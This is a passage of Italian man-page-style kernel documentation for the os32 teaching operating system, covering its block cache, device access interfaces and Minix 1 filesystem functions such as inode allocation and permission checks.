Il file '`kernel/blk.h`' [119.2] descrive ciò che serve per la gestione dei blocchi di dati, in relazione ai dispositivi di memorizzazione a blocchi.

118.2.1 os32: blk_ata(9)

NOME

'**`blk_ata`**' - interfaccia di accesso ai dispositivi di memorizzazione PATA

SINTASSI

```
<kernel/blk.h>
void *blk_ata (dev_t device, int rw, unsigned int n, void *buffer);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo, in forma numerica.
`int` ***rw***	Può assumere i valori '**`DEV_READ`**' o '**`DEV_WRITE`**', per richiedere rispettivamente un accesso in lettura oppure in scrittura.
`unsigned int` ***n***	Numero del blocco da leggere o scrivere, riferito all'unità complessiva.
`void *`***buffer***	Origine dei dati da trasferire in caso di scrittura (per la lettura questa informazione non viene usata).

DESCRIZIONE

La funzione ***blk_ata()*** è un'interfaccia per l'accesso alle unità PATA, un blocco alla volta, che si avvale di una memoria *cache* per ridurre gli accessi fisici ripetuti agli stessi blocchi.

VALORE RESTITUITO

La funzione restituisce il puntatore a un'area di memoria contenente il blocco di dati letto o scritto. In caso di errore restituisce il puntatore nullo e aggiorna la variabile ***errno*** del kernel. Il blocco in questione si riferisce all'unità complessiva, pertanto, se originariamente si faceva riferimento a un dispositivo di una partizione, prima di arrivare a questa funzione il blocco relativo della partizione deve essere stato convertito in un blocco assoluto dell'unità complessiva.

ERRORI

Valore di ***errno***	Significato
`E_HARDWARE_FAULT`	Errore nell'hardware PATA.
`E_DRIVER_FAULT`	Errore nella gestione software dell'unità PATA.
`ETIME`	Tempo scaduto.

FILE SORGENTI

'`kernel/blk.h`' [119.2]

'`kernel/blk/blk_ata.c`' [119.2.1]

VEDERE ANCHE

dev_dm(9) [118.3.2], *dev_ata(9)* [118.3.3], *blk_cache_read(9)* [118.2.4], *blk_cache_save(9)* [118.2.4].

118.2.2 os32: blk_cache_check(9)

NOME

'**`blk_cache_check`**' - verifica della validità del contenuto della tabella dei blocchi conservati in memoria

SINTASSI

```
<kernel/blk.h>
void blk_cache_check (void);
```

DESCRIZIONE

La funzione ***blk_cache_check()*** serve a verificare che la tabella dei blocchi conservati in memoria (***blk_table[]***) contenga dati validi, per ciò che riguarda le età degli stessi. In pratica, il valore dell'età dei blocchi deve essere sequenziale, iniziando da zero e terminando con il valore massimo consentito: non ci devono essere valori mancanti e non ci devono essere valori doppi. Questa funzione serve solo a titolo diagnostico e in pratica non viene usata.

VALORE RESTITUITO

La funzione non restituisce alcunché; se viene usata e se individua errori, questi vengono visualizzati attraverso la funzione ***k_printf()***.

FILE SORGENTI

'`kernel/blk.h`' [119.2]

'`kernel/blk/blk_cache_check.c`' [119.2.2]

VEDERE ANCHE

blk_cache_init(9) [118.2.3], *blk_cache_read(9)* [118.2.4], *blk_cache_save(9)* [118.2.4].

118.2.3 os32: blk_cache_init(9)

NOME

'**`blk_cache_init`**' - inizializzazione della tabella dei blocchi conservati in memoria

SINTASSI

```
<kernel/blk.h>
void blk_cache_init (void);
```

DESCRIZIONE

La funzione ***blk_cache_init()*** serve a inizializzare la tabella dei blocchi conservati in memoria (***blk_table[]***), assegnando anche il valore dell'età in modo progressivo, da zero fino al valore massimo consentito. Questa funzione viene usata una volta sola, prima che i dispositivi di memorizzazione a blocchi possano avvalersi della tabella stessa.

VALORE RESTITUITO

La funzione non restituisce alcunché.

FILE SORGENTI

'`kernel/blk.h`' [119.2]

'`kernel/blk/blk_cache_init.c`' [119.2.3]

VEDERE ANCHE

blk_cache_check(9) [118.2.2], *blk_cache_read(9)* [118.2.4], *blk_cache_save(9)* [118.2.4].

118.2.4 os32: blk_cache_read(9)

NOME

'**`blk_cache_read`**', '**`blk_cache_save`**', - lettura e scrittura nella tabella dei blocchi

SINTASSI

```
<kernel/blk.h>
void *blk_cache_read (dev_t device, unsigned int n);
void *blk_cache_save (dev_t device, unsigned int n, void *block);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo, in forma numerica.
`unsigned int` ***n***	Numero del blocco da leggere o scrivere, riferito all'unità complessiva.
`void *`***block***	Origine dei dati da salvare nella tabella.

DESCRIZIONE

Le funzioni ***blk_cache_read()*** e ***blk_cache_save()*** si occupano di trovare un blocco già salvato in precedenza nella tabella dei blocchi, o di salvarne uno nuovo o di aggiornarne il contenuto. Le funzioni restituiscono il puntatore al blocco trovato o memorizzato, oppure il puntatore nullo in caso di fallimento dell'operazione.

Quando si legge un blocco, lo si ottiene solo se viene trovata la corrispondenza con il numero di dispositivo (riferito all'unità complessiva) e al numero del blocco stesso. Quando si salva un blocco, viene prima cercato lo stesso blocco nella tabella, per aggiornarlo, ma se non c'è, viene riutilizzata una cella corrispondente a un vecchio blocco che non risulta usato da più tempo.

Una lettura con successo o il salvataggio di un blocco, implica l'attribuzione allo stesso di un'età pari a zero, modificando di conseguenza quella degli altri blocchi in modo coerente.

VALORE RESTITUITO

La funzione restituisce il puntatore all'area di memoria contenente il blocco di dati letto o scritto. Mentre il salvataggio avviene sempre con successo, la lettura può fallire e in tal caso si ottiene il puntatore nullo.

FILE SORGENTI

'`kernel/blk.h`' [119.2]

'`kernel/blk/blk_cache_read.c`' [119.2.4]

'`kernel/blk/blk_cache_save.c`' [119.2.5]

VEDERE ANCHE

dev_dm(9) [118.3.2], *blk_ata(9)* [118.2.1].

118.2.5 os32: blk_cache_save(9)

Vedere *blk_cache_read(9)* [118.2.4].

118.3 os32: dev(9)

Il file '`kernel/dev.h`' [119.3] descrive ciò che serve per la gestione dei dispositivi. Tuttavia, la definizione dei numeri di dispositivo è contenuta nel file '`lib/sys/os32.h`' [120.15], il quale viene incluso da '`dev.h`'.

Tabella 109.81. Classificazione dei dispositivi di os32.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
`DEV_MEM`	r/w	diretto	Permette l'accesso alla memoria, in modo indiscriminato; tuttavia, solo al kernel è permessa la scrittura.
`DEV_NULL`	r/w	nessuno	Consente la lettura e la scrittura, ma non si legge e non si scrive alcunché.
`DEV_PORT`	r/w	sequenziale	Consente di leggere e scrivere da o verso una porta di I/O, individuata attraverso l'indirizzo di accesso (l'indirizzo, o meglio lo scostamento, viene trattato come la porta a cui si vuole accedere). Tuttavia, la dimensione dell'informazione da trasferire è valida solo se si tratta di uno o di due byte: per la dimensione di un byte si usano le funzioni ***in_8()*** e ***out_8()***; per due byte si usano le funzioni ***in_16()*** e ***out_16()***. Per dimensioni differenti la lettura o la scrittura non ha effetto.
`DEV_ZERO`	r	sequenziale	Consente solo la lettura di valori a zero (zero inteso in senso binario).
`DEV_TTY`	r/w	sequenziale	Rappresenta il terminale virtuale del processo attivo.
`DEV_DM`***mn***	r/w	diretto	Rappresenta la partizione ***n*** dell'unità di memorizzazione ***m***. La prima unità PATA disponibile ottiene il dispositivo ***DEV_DM00***, la seconda il numero ***DEV_DM10***, ecc.
`DEV_KMEM_PS`	r	diretto	Rappresenta la tabella contenente le informazioni sui processi. L'indirizzo di accesso indica il numero del processo di partenza; la dimensione da leggere dovrebbe essere abbastanza grande da contenere un processo, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_MMP`	r	sequenziale	Rappresenta la mappa della memoria, alla quale si può accedere solo dal suo principio. In pratica, l'indirizzo di accesso viene ignorato, mentre conta solo la quantità di byte richiesta.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
`DEV_KMEM_SB`	r	diretto	Rappresenta la tabella dei super blocchi (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il super blocco; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un super blocco, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_INODE`	r	diretto	Rappresenta la tabella degli inode (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare l'inode; la dimensione richiesta dovrebbe essere abbastanza grande da contenere un inode, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_KMEM_FILE`	r	diretto	Rappresenta la tabella dei file (per la gestione delle unità di memorizzazione). L'indirizzo di accesso serve a individuare il file; la dimensione richiesta dovrebbe essere abbastanza grande da contenere le informazioni di un file, ma anche richiedendo una dimensione maggiore, se ne legge uno solo.
`DEV_CONSOLE`	r/w	sequenziale	Legge o scrive relativamente alla console attiva la quantità di byte richiesta, ignorando l'indirizzo di accesso.
`DEV_CONSOLE`***n***	r/w	sequenziale	Legge o scrive relativamente alla console ***n*** la quantità di byte richiesta, ignorando l'indirizzo di accesso.

Figura 109.79. Interdipendenza tra la funzione ***dev_io()*** e le altre. I collegamenti con le funzioni ***major()*** e ***minor()*** sono omesse.

dev_io()
dev_mem()
dev_tty()
dev_kmem()
dev_dm()
memcpy()
in_8()
in_16()
out_8()
out_16()
tty_console()
tty_read()
tty_write()
proc_reference()
mb_reference()
sb_reference()
inode_reference()
file_reference()
memcpy()
blk_ata()
blk_cache_read()
blk_cache_save()
ata_read_sector()
ata_write_sector()

118.3.1 os32: dev_io(9)

NOME

'**dev_io**' - interfaccia di accesso ai dispositivi

SINTASSI

```
<kernel/dev.h>
ssize_t dev_io (pid_t pid, dev_t device, int rw, off_t offset,
                void *buffer, size_t size, int *eof);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`dev_t` ***device***	Dispositivo, in forma numerica.
`int` ***rw***	Può assumere i valori '**DEV_READ**' o '**DEV_WRITE**', per richiedere rispettivamente un accesso in lettura oppure in scrittura.
`off_t` ***offset***	Posizione per l'accesso al dispositivo.
`void *`***buffer***	Memoria tampone, per la lettura o la scrittura.
`size_t` ***size***	Quantità di byte da leggere o da scrivere.
`int *`***eof***	Puntatore a una variabile in cui annotare, eventualmente, il raggiungimento della fine del file.

DESCRIZIONE

La funzione ***dev_io()*** è un'interfaccia generale per l'accesso ai dispositivi gestiti da os32.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti o scritti effettivamente. In caso di errore restituisce il valore -1 e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ENODEV`	Il numero del dispositivo non è valido.
`EIO`	Errore di input-output.

FILE SORGENTI

'`kernel/dev.h`' [119.3]

'`kernel/dev/dev_io.c`' [119.3.3]

VEDERE ANCHE

dev_dm(9) [118.3.2], *dev_kmem(9)* [118.3.4], *dev_mem(9)* [118.3.5], *dev_tty(9)* [118.3.6].

118.3.2 os32: dev_dm(9)

NOME

'**dev_dm**' - interfaccia di accesso alle unità di memorizzazione di massa

SINTASSI

```
<kernel/dev.h>
ssize_t dev_dm (pid_t pid, dev_t device, int rw, off_t offset,
                void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_dm()*** consente di accedere alle unità di memorizzazione di massa, che per os32 si riducono alle sole unità PATA.

Per il significato degli argomenti, il valore restituito e gli eventuali errori, si veda *dev_io(9)* [118.3.1].

FILE SORGENTI

'kernel/dev.h' [119.3]

'kernel/dev/dev_io.c' [119.3.3]

'kernel/dev/dev_dm.c' [119.3.2]

118.3.3 os32: dev_ata(9)

NOME

'**dev_ata**' - interfaccia di accesso alle unità di memorizzazione di massa PATA

SINTASSI

```
<kernel/dev.h>
ssize_t dev_ata (pid_t pid, dev_t device, int rw, off_t offset,
                 void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_ata()*** consente di accedere alle unità di memorizzazione di massa PATA, traducendo le operazioni da flusso di byte a blocchi. Questa funzione viene usata da ***dev_dm()*** e si avvale a sua volta di ***blk_ata()***.

Per il significato degli argomenti, il valore restituito e gli eventuali errori, si veda *dev_io(9)* [118.3.1].

FILE SORGENTI

'`kernel/dev.h`' [119.3]

'`kernel/dev/dev_io.c`' [119.3.3]

'`kernel/dev/dev_dm.c`' [119.3.2]

'`kernel/dev/dev_ata.c`' [119.3.1]

118.3.4 os32: dev_kmem(9)

NOME

'**`dev_kmem`**' - interfaccia di accesso alle tabelle di dati del kernel, rappresentate in memoria

SINTASSI

```
<kernel/dev.h>
ssize_t dev_kmem (pid_t pid, dev_t device, int rw, off_t offset,
                  void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_kmem()*** consente di accedere, solo in lettura, alle porzioni di memoria che il kernel utilizza per rappresentare alcune tabelle importanti. Per poter interpretare ciò che si ottiene occorre riprodurre la struttura di un elemento della tabella a cui si è interessati, pertanto occorre incorporare il file di intestazione del kernel che la descrive.

Dispositivo	Tabella a cui si riferisce
`DEV_KMEM_PS`	Si accede alla tabella dei processi, all'elemento rappresentato da ***offset***: ***proc_table[offset]***.
`DEV_KMEM_MMP`	Si accede alla mappa della memoria, ovvero la tabella ***mb_table[]***, senza considerare il valore di ***offset***.
`DEV_KMEM_SB`	Si accede alla tabella dei super blocchi, all'elemento rappresentato da ***offset***: ***sb_table[offset]***.
`DEV_KMEM_INODE`	Si accede alla tabella degli inode, all'elemento rappresentato da ***offset***: ***inode_table[offset]***.
`DEV_KMEM_FILE`	Si accede alla tabella dei file di sistema, all'elemento rappresentato da ***offset***: ***file_table[offset]***.

Per il significato degli argomenti della chiamata, per interpretare il valore restituito e gli eventuali errori, si veda *dev_io(9)* [118.3.1].

FILE SORGENTI

'`kernel/dev.h`' [119.3]

'`kernel/dev/dev_io.c`' [119.3.3]

'`kernel/dev/dev_kmem.c`' [119.3.4]

118.3.5 os32: dev_mem(9)

NOME

'**dev_mem**' - interfaccia di accesso alla memoria, in modo indiscriminato

SINTASSI

```
<kernel/fs.h>
ssize_t dev_mem (pid_t pid, dev_t device, int rw, off_t offset,
                 void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_mem()*** consente di accedere, in lettura e in scrittura alla memoria e alle porte di input-output.

Dispositivo	Descrizione
DEV_MEM	Si tratta della memoria centrale, complessiva, dove il valore di ***offset*** rappresenta l'indirizzo efficace (complessivo) a partire da zero.
DEV_NULL	Si tratta di ciò che realizza il file di dispositivo tradizionale '/dev/null': la scrittura si perde semplicemente e la lettura non dà alcunché.
DEV_ZERO	Si tratta di ciò che realizza il file di dispositivo tradizionale '/dev/zero': la scrittura si perde semplicemente e la lettura produce byte a zero (zero binario).
DEV_PORT	Consente l'accesso alle porte di input-output. La dimensione rappresentata da ***size*** può essere solo pari a uno o due: una dimensione pari a uno richiede di comunicare un solo byte con una certa porta; una dimensione pari a due richiede la comunicazione di un valore a 16 bit. Il valore di ***offset*** serve a individuare la porta di input-output con cui si intende comunicare (leggere o scrivere un valore).

Per quanto non viene descritto qui, si veda *dev_io(9)* [118.3.1].

FILE SORGENTI

'kernel/dev.h' [119.3]

'kernel/dev/dev_io.c' [119.3.3]

'kernel/dev/dev_mem.c' [119.3.5]

118.3.6 os32: dev_tty(9)

NOME

'**dev_tty**' - interfaccia di accesso alla console

SINTASSI

```
<kernel/dev.h>
ssize_t dev_tty (pid_t pid, dev_t device, int rw, off_t offset,
                 void *buffer, size_t size, int *eof);
```

DESCRIZIONE

La funzione ***dev_tty()*** consente di accedere, in lettura e in scrittura, a una console virtuale, scelta in base al numero del dispositivo.

Quando la lettura richiede l'attesa per l'inserimento da tastiera, se il processo elaborativo ***pid*** non è il kernel, allora viene messo in pausa, in attesa di un evento legato al terminale.

Il sistema di gestione del terminale è molto povero con os32, in quanto il terminale può funzionare soltanto in modalità canonica; in altri termini, si può interagire soltanto come se si trattasse della telescrivente tradizionale.

Per quanto non viene descritto qui, si veda *dev_io(9)* [118.3.1].

FILE SORGENTI

'`kernel/dev.h`' [119.3]

'`kernel/dev/dev_io.c`' [119.3.3]

'`kernel/dev/dev_tty.c`' [119.3.6]

118.4 os32: dm(9)

Il file '`kernel/dm.h`' [119.4] descrive ciò che serve per la gestione delle unità di memorizzazione, in generale. È disponibile soltanto la funzione ***dm_init()*** per la predisposizione iniziale della tabella ***dm_table[]***.

118.5 os32: fs(9)

Il file '`kernel/fs.h`' [119.5] descrive ciò che serve per la gestione del file system, che per os32 corrisponde al tipo Minix 1.

La gestione del file system, a livello complessivo di sistema, è suddivisa in tre aspetti principali: super blocco, inode e file. Per ognuno di questi è prevista una tabella (di super blocchi, di inode e di file). Seguono delle figure che descrivono l'organizzazione di queste tabelle.

118.5.1 os32: fd_dup(9)

NOME

'**`fd_dup`**' - duplicazione di un descrittore di file

SINTASSI

```
<kernel/fs.h>
int fd_dup  (pid_t pid, int fdn_old, int fdn_min);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn_old***	Numero del descrittore di file da duplicare.
`int` ***fdn_min***	Primo numero di descrittore da usare per la copia.

DESCRIZIONE

La funzione *fd_dup()* duplica un descrittore, nel senso che sdoppia l'accesso a un file in due descrittori, cercando un descrittore libero a cominciare da ***fdn_min*** e continuando progressivamente, fino al primo disponibile. Il descrittore ottenuto dalla copia, viene privato dell'indicatore '**`FD_CLOEXEC`**', ammesso che nel descrittore originale ci fosse.

Questa funzione viene usata da *s_dup(9)* [118.9] e da *s_fcntl(9)* [118.9], per la duplicazione di un descrittore.

VALORE RESTITUITO

La funzione restituisce il numero del descrittore prodotto dalla duplicazione. In caso di errore, invece, restituisce il valore −1, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il valore di ***fdn_min*** è impossibile.
`EBADF`	Il valore di ***fdn_old*** non è valido.
`EMFILE`	Non è possibile allocare un nuovo descrittore.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/fd_dup.c`' [119.5.1]

VEDERE ANCHE

dup(2) [112.9], *dup2(2)* [112.9], *sysroutine(9)* [118.14.27], *proc_reference(9)* [118.14.6].

118.5.2 os32: fd_reference(9)

NOME

'**`fd_reference`**' - riferimento a un elemento della tabella dei descrittori

SINTASSI

```
<kernel/fs.h>
fd_t *fd_reference (pid_t pid, int *fdn);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Il numero del descrittore di file.

DESCRIZIONE

La funzione ***fd_reference()*** restituisce il puntatore all'elemento della tabella dei descrittori, corrispondente al processo e al numero di descrittore specificati. Se però viene fornito un numero di descrittore negativo, si ottiene il puntatore al primo elemento che risulta libero nella tabella.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella dei descrittori, oppure il puntatore nullo in caso di errore, ma **senza aggiornare** la variabile ***errno*** del kernel. Infatti, l'unico errore che può verificarsi consiste nel non poter trovare il descrittore richiesto.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/fd_reference.c`' [119.5.2]

VEDERE ANCHE

file_reference(9) [118.5.5], *inode_reference(9)* [118.5.21], *sb_reference(9)* [118.5.29], *proc_reference(9)* [118.14.6].

118.5.3 os32: fs_init(9)

NOME

'**`fs_init`**' - inizializzazione delle tabelle relative alla gestione del file system

SINTASSI

```
<kernel/fs.h>
void fs_init  (void);
```

DESCRIZIONE

La funzione ***fs_init()*** azzera il contenuto delle tabelle dei super blocchi, degli inode e dei file. Questa funzione viene usata esclusivamente da *kmain(9)* [118.10], per predisporre le tabelle di gestione del file system.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/fs_init.c`' [119.5.7]

VEDERE ANCHE

fd_reference(9) [118.5.2], *inode_reference(9)* [118.5.21], *sb_reference(9)* [118.5.29].

118.5.4 os32: file_pipe_make(9)

NOME

'**`file_pipe_make`**' - creazione di una voce relativa a un condotto, nella tabella dei file di sistema

SINTASSI

```
<kernel/fs.h>
file_t *file_pipe_make (void);
```

DESCRIZIONE

La funzione ***file_pipe_make()*** produce una voce nella tabella dei file di sistema, relativa a un condotto (*pipe*).

Per ottenere questo risultato occorre coinvolgere anche la funzione *inode_pipe_make(9)* [118.5.16], la quale si occupa di predisporre un inode, privo però di un collegamento a un file vero e proprio.

Questa funzione viene usata esclusivamente da *s_pipe(9)* [118.9], per la realizzazione della chiamata di sistema *pipe(2)* [112.33].

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella dei file di sistema, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ENFILE`	Non è possibile allocare un altro file di sistema.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/file_pipe_make.c`' [119.5.3]

VEDERE ANCHE

inode_pipe_make(9) [118.5.16], *file_reference(9)* [118.5.5], *inode_put(9)* [118.5.20].

118.5.5 os32: file_reference(9)

NOME

'**`file_reference`**' - riferimento a un elemento della tabella dei file di sistema

SINTASSI

```
<kernel/fs.h>
file_t *file_reference (int fno);
```

ARGOMENTI

Argomento	Descrizione
`int` ***fno***	Il numero della voce della tabella dei file, a partire da zero.

DESCRIZIONE

La funzione ***file_reference()*** restituisce il puntatore all'elemento della tabella dei file di sistema, corrispondente al numero indicato come argomento. Se però tale numero fosse negativo, viene restituito il puntatore al primo elemento libero.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella dei file di sistema, oppure il puntatore nullo in caso di errore, ma **senza aggiornare** la variabile ***errno*** del kernel. Infatti, l'unico errore che può verificarsi consiste nel non poter trovare la voce richiesta.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/file_table.c`' [119.5.6]

'`kernel/fs/file_reference.c`' [119.5.4]

VEDERE ANCHE

fd_reference(9) [118.5.2], *inode_reference(9)* [118.5.21], *sb_reference(9)* [118.5.29], *proc_reference(9)* [118.14.6].

118.5.6 os32: file_stdio_dev_make(9)

NOME

'**`file_stdio_dev_make`**' - creazione di una voce relativa a un dispositivo di input-output standard, nella tabella dei file di sistema

SINTASSI

```
<kernel/fs.h>
file_t *file_stdio_dev_make (dev_t device, mode_t mode, int oflags);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Il numero del dispositivo da usare per l'input o l'output.
`mode_t` ***mode***	Tipo di file di dispositivo: è praticamente obbligatorio l'uso di '**`S_IFCHR`**'.
`int` ***oflags***	Modalità di accesso: '**`O_RDONLY`**' oppure '**`O_WRONLY`**'.

DESCRIZIONE

La funzione ***file_stdio_dev_make()*** produce una voce nella tabella dei file di sistema, relativa a un dispositivo di input-output, da usare come flusso standard. In altri termini,

serve per creare le voci della tabella dei file, relative a standard input, standard output e standard error.

Per ottenere questo risultato occorre coinvolgere anche la funzione *inode_stdio_dev_make(9)* [118.5.23], la quale si occupa di predisporre un inode, privo però di un collegamento a un file vero e proprio.

Questa funzione viene usata esclusivamente da *proc_sys_exec(9)* [118.14.21], per attribuire standard input, standard output e standard error, che non fossero già disponibili.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella dei file di sistema, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ENFILE`	Non è possibile allocare un altro file di sistema.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/file_stdio_dev_make.c`' [119.5.5]

VEDERE ANCHE

proc_sys_exec(9) [118.14.21], *inode_stdio_dev_make(9)* [118.5.23], *file_reference(9)* [118.5.5], *inode_put(9)* [118.5.20].

118.5.7 os32: inode_alloc(9)

NOME

'**`inode_alloc`**' - allocazione di un inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_alloc (dev_t device, mode_t mode, uid_t uid, gid_t gid);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Il numero del dispositivo in cui si trova il file system dove allocare l'inode.
`mode_t` ***mode***	Tipo di file e modalità dei permessi da associare all'inode.
`uid_t` ***uid***	Utente proprietario dell'inode.
`gid_t` ***gid***	Gruppo proprietario dell'inode.

DESCRIZIONE

La funzione ***inode_alloc()*** cerca un inode libero nel file system del dispositivo indicato, quindi lo alloca (lo segna come utilizzato) e lo modifica aggiornando il tipo e la modalità dei permessi, oltre al proprietario del file. Se la funzione riesce nel suo intento, restituisce il puntatore all'inode in memoria, il quale rimane così aperto e disponibile per ulteriori elaborazioni.

Questa funzione viene usata esclusivamente da *path_inode_link(9)* [118.5.40], per la creazione di un nuovo file.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella degli inode di sistema, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il valore fornito per il parametro ***mode*** non è ammissibile.
`ENODEV`	Il dispositivo non corrisponde ad alcuna voce della tabella dei super blocchi; per esempio, il file system cercato potrebbe non essere ancora stato innestato.
`ENOSPC`	Non è possibile allocare l'inode, per mancanza di spazio.
`ENFILE`	Non c'è spazio nella tabella degli inode.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_alloc.c`' [119.5.8]

VEDERE ANCHE

path_inode_link(9) [118.5.40], *sb_reference(9)* [118.5.29], *inode_get(9)* [118.5.15], *inode_put(9)* [118.5.20], *inode_truncate(9)* [118.5.24], *inode_save(9)* [118.5.22].

118.5.8 os32: inode_check(9)

«

NOME

'**`inode_check`**' - verifica delle caratteristiche di un inode

SINTASSI

```
<kernel/fs.h>
int inode_check (inode_t *inode, mode_t type, int perm, uid_t uid, gid_t gid);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a un elemento della tabella degli inode.
`mode_t` ***type***	Tipo di file desiderato. Può trattarsi di '**`S_IFBLK`**', '**`S_IFCHR`**', '**`S_IFIFO`**', '**`S_IFREG`**', '**`S_IFDIR`**', '**`S_IFLNK`**', '**`S_IFSOCK`**', come dichiarato nel file '`lib/sys/stat.h`', tuttavia os32 gestisce solo file di dispositivo, file normali e directory.
`int` ***perm***	Permessi richiesti dall'utente ***uid***, rappresentati nei tre bit meno significativi.
`uid_t` ***uid***	Utente nei confronti del quale vanno verificati i permessi di accesso.
`gid_t` ***gid***	Gruppo di utenti nei confronti del quale vanno verificati i permessi di accesso.

DESCRIZIONE

La funzione ***inode_check()*** verifica che l'inode indicato sia di un certo tipo e abbia i permessi di accesso necessari a un certo utente e gruppo. Tali permessi vanno rappresentati utilizzando solo gli ultimi tre bit (4 = lettura, 2 = scrittura, 1 = esecuzione o attraversamento) e si riferiscono alla richiesta di accesso all'inode, da parte dell'utente ***uid*** e del gruppo ***gid***, tenendo conto del complesso dei permessi che li riguardano.

Nel parametro ***type*** è ammessa la sovrapposizione di più tipi validi.

Questa funzione viene usata in varie situazioni, internamente al kernel, per verificare il tipo o l'accessibilità di un file.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Le caratteristiche dell'inode sono compatibili con quanto richiesto.
−1	Le caratteristiche dell'inode non sono compatibili, oppure si è verificato un errore. In ogni caso si ottiene l'aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il valore di ***inode*** corrisponde a un puntatore nullo.
`E_FILE_TYPE`	Il tipo di file dell'inode non corrisponde a quanto richiesto.
`EACCES`	I permessi di accesso non sono compatibili con la richiesta.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_check.c`' [119.5.9]

118.5.9 os32: inode_dir_empty(9)

NOME

'**inode_dir_empty**' - verifica della presenza di contenuti in una directory

SINTASSI

```
<kernel/fs.h>
int inode_dir_empty (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *inode`	Puntatore a un elemento della tabella degli inode.

DESCRIZIONE

La funzione ***inode_dir_empty()*** verifica che la directory, a cui si riferisce l'inode a cui punta ***inode***, sia vuota.

VALORE RESTITUITO

Valore	Significato del valore restituito
1	*Vero*: si tratta di una directory vuota.
0	*Falso*: se è effettivamente una directory, questa non è vuota, altrimenti non è nemmeno una directory.

ERRORI

Dal momento che un risultato *Falso* non rappresenta necessariamente un errore, per verificare il contenuto della variabile ***errno***, prima dell'uso della funzione occorre azzerarla.

Valore di ***errno***	Significato
`EINVAL`	L'inode non riguarda una directory.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_dir_empty.c`' [119.5.10]

VEDERE ANCHE

inode_file_read(9) [118.5.10].

118.5.10 os32: inode_file_read(9)

NOME

'**inode_file_read**' - lettura di un file rappresentato da un inode

SINTASSI

```
<kernel/fs.h>
ssize_t inode_file_read (inode_t *inode, off_t offset,
                         void *buffer, size_t count, int *eof);
```

ARGOMENTI

Argomento	Descrizione
`inode_t` ***inode***	Puntatore a un elemento della tabella degli inode, che rappresenta il file da leggere.
`off_t` ***offset***	Posizione, riferita all'inizio del file, a partire dalla quale eseguire la lettura.
`void` ****buffer***	Puntatore all'area di memoria in cui scrivere ciò che si ottiene dalla lettura del file.
`size_t` ***count***	Quantità massima di byte da leggere.
`int` ****eof***	Puntatore a un indicatore di fine file, da aggiornare (purché sia un puntatore valido) in base all'esito della lettura.

DESCRIZIONE

La funzione ***inode_file_read()*** legge il contenuto del file a cui si riferisce l'inode ***inode*** e se il puntatore ***eof*** è valido, aggiorna anche la variabile ****eof***.

Questa funzione si avvale a sua volta di *inode_fzones_read(9)* [118.5.13], per accedere ai contenuti del file, suddivisi in zone, secondo l'organizzazione del file system Minix 1.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti e resi effettivamente disponibili a partire da ciò a cui punta ***buffer***. Se la variabile ***var*** è un puntatore valido, aggiorna anche il suo valore, azzerandolo se la lettura avviene in una posizione interna al file, oppure impostandolo a uno se la lettura richiesta è oltre la fine del file. Se invece si tenta una lettura con un valore di ***offset*** negativo, o specificando il puntatore nullo al posto dell'inode, la funzione restituisce -1 e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido, oppure il valore di ***offset*** è negativo.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_file_read.c`' [119.5.11]

VEDERE ANCHE

